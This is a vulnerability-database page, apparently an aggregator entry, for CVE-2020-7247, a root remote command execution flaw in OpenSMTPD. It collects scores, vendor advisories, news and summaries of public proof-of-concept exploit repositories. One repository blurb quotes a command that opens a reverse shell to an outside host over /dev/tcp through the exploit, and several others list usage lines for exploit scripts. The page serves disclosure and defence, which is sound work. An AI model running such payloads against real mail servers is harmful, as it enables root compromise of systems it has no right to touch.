9.8
CVSSv3

CVE-2020-7247

Published: 29/01/2020 Updated: 07/11/2023
CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10
CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9
VMScore: 893
Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote malicious users to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

openbsd opensmtpd 6.6

debian debian linux 9.0

debian debian linux 10.0

fedoraproject fedora 32

canonical ubuntu linux 18.04

canonical ubuntu linux 19.10

Vendor Advisories

OpenSMTPD could be made to run programs as root if it received specially crafted input over the network ...
Qualys discovered that the OpenSMTPD SMTP server performed insufficient validation of email addresses which could result in the execution of arbitrary commands as root In addition this update fixes a denial of service by triggering an opportunistic TLS downgrade For the oldstable distribution (stretch), these problems have been fixed in version 6 ...
A vulnerability was discovered in OpenSMTPd before version 662 which allows arbiterary code execution by constructing a mail FROM address that escapes the regex filter ...

Exploits

Qualys discovered a vulnerability in OpenSMTPD, OpenBSD's mail server This vulnerability is exploitable since May 2018 (commit a8e222352f, "switch smtpd to new grammar") and allows an attacker to execute arbitrary shell commands, as root ...
smtp_mailaddr in smtp_sessionc in OpenSMTPD version 66, as used in OpenBSD version 66 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field This affects the "uncommented" default configuration The issue exists because of an inco ...
smtp_mailaddr in smtp_sessionc in OpenSMTPD 66, as used in OpenBSD 66 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell meta-characters in a MAIL FROM field This affects the "uncommented" default configuration The issue exists because of an incorrect return va ...
OpenSMTPD version 662 remote code execution exploit ...

Mailing Lists

<!--X-Body-Begin--> <!--X-User-Header--> Full Disclosure mailing list archives <!--X-User-Header-End--> <!--X-TopPNI--> By Date By Thread </form> <!--X-TopPNI-End--> <!--X-MsgBody--> <!--X-Subject-Header-Begin--> LPE and RCE in OpenSMTPD (CVE-2020-7247) <!--X-Subject-Header-End--> <!--X-Head-of-Message--> From: Qualys Security ...
<!--X-Body-Begin--> <!--X-User-Header--> oss-sec mailing list archives <!--X-User-Header-End--> <!--X-TopPNI--> By Date By Thread </form> <!--X-TopPNI-End--> <!--X-MsgBody--> <!--X-Subject-Header-Begin--> LPE and RCE in OpenSMTPD (CVE-2020-7247) <!--X-Subject-Header-End--> <!--X-Head-of-Message--> From: Qualys Security Advisory ...

Github Repositories

OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution PoC exploit

CVE-2020-7247-exploit OpenSMTPD 640 - 661 Remote Code Execution PoC exploit Reference: wwwopenwallcom/lists/oss-security/2020/01/28/3 Usage python3 exploitpy &lt;target_host&gt; &lt;target_port&gt; &lt;reverse_host&gt; &lt;reverse_port&gt; &lt;recipient_email&gt; Dependencies pip3 in

Python exploit of cve-2020-7247

cve-2020-7247-exploit Python exploit of cve-2020-7247 Read about the vulnerability: blogfirosolutionscom/exploits/opensmtpd-remote-vulnerability/

Proof Of Concept Exploit for CVE-2020-7247 (Remote Execution on OpenSMTPD < 6.6.2

CVE-2020-7247 Proof Of Concept Exploit for CVE-2020-7247 (Remote Execution on OpenSMTPD &lt; 662) OpenSMTPD &lt; 662 wwwcvedetailscom/cve/CVE-2020-7247 tested on: OpenBSD 66 credits to Marco Ivaldi raptor@0xdeadbeefinfo for payload Usage (remote) $ go run CVE-2020-7247go -u 19216802 -p 25 -d exampleorg [change nc listener in source code if you are n

PoC exploit for CVE-2020-7247 OpenSMTPD 6.4.0 < 6.6.1 Remote Code Execution

CVE 2020-7247 PoC exploit for OpenSMTPD 640 &lt; 661 - Remote Code Execution, written by f4T1H, inspired by QTranspose Reference: wwwqualyscom/2020/01/28/cve-2020-7247/lpe-rce-opensmtpdtxt Dependencies: pip3 install pwntools Usage: python3 exploitpy &lt;RHOST&gt; &lt;RPORT&gt; &lt;recipient_mail&

Proof of concept for CVE-2020-7247 for educational purposes.

Foreword Key facts about the exploit Installing the vulnerable server Configuration Environment disclaimers Exploit Manual Exploitation Scripted Exploitation Foreword This repository should serve as a base to set up and exploit CVE-2020-7247 in a controlled and private environment All of the published code and configuration is solely ment for testing this vulnerability

smtp exploit script

SMTPython smtp exploit script CVE-2020-7247 RemoteCodeExecution usage: /SMTPythonpy name@host example: /SMTPythonpy 19216804 25 'bash -c "exec bash -i &amp;&gt; /dev/tcp/1921681104 4444 &lt;&amp;1"' user@ubuntu

OpenSMTPD version 6.6.2 remote code execution exploit

cve-2020-7247 Exploit Title: OpenSMTPD 662 - Remote Code Execution The new Date: 2020-01-29 Exploit Author: 1F98D Original Author: Qualys Security Advisory Vendor Homepage: wwwopensmtpdorg/ Software Link: githubcom/OpenSMTPD/OpenSMTPD/releases/tag/661p1 Version: OpenSMTPD &lt; 662 Tested on: OpenBSD 66, OpenBSD 65, OpenBSD 64, OpenBSD 59

Terraform script to deploy vulnerable pentest lab on AWS.

Private Pentest Lab on AWS Terraform script to deploy below vulnerable container targets on AWS Juice-shop: hubdockercom/r/bkimminich/juice-shop DVWA: hubdockercom/r/vulnerables/web-dvwa XVWA: hubdockercom/r/bitnetsecdave/xvwa Vulnerable Graphql: Damn-Vulnerable-GraphQL-Application Vulnerable API: githubcom/erev0s/VAmPI Vulnerable SMB: ht

Hack The Box writeups by Şefik Efe.

Hack The Box Writeups by Şefik Efe Would you like to give me stars in Hack The Box? Thanks in advance :) I'll be posting retired boxes' and some challenges' writeups You can search keywords and/or topics between writeups using top left corner search bar Index Table My favourite writeup so far: Breadcrumbs &nbsp;&nbsp;&nbsp;&nbsp;&a

Recent Articles

Anatomy of OpenBSD's OpenSMTPD hijack hole: How a malicious sender address can lead to remote pwnage
The Register • Shaun Nichols in San Francisco • 30 Jan 2020

Function accidentally returns OK instead of no-way

Code dive The OpenBSD project's OpenSMTPD can be potentially hijacked by a maliciously crafted incoming email. Infosec biz Qualys discovered and this week disclosed CVE-2020-7247, a root privilege-escalation and remote code execution flaw in OpenSMTPD. It can be exploited locally by a normal user to execute shell commands as root, if using the daemon's default configuration, or locally and remotely if the daemon is using its "uncommented" default configuration, in which it listens on all interfa...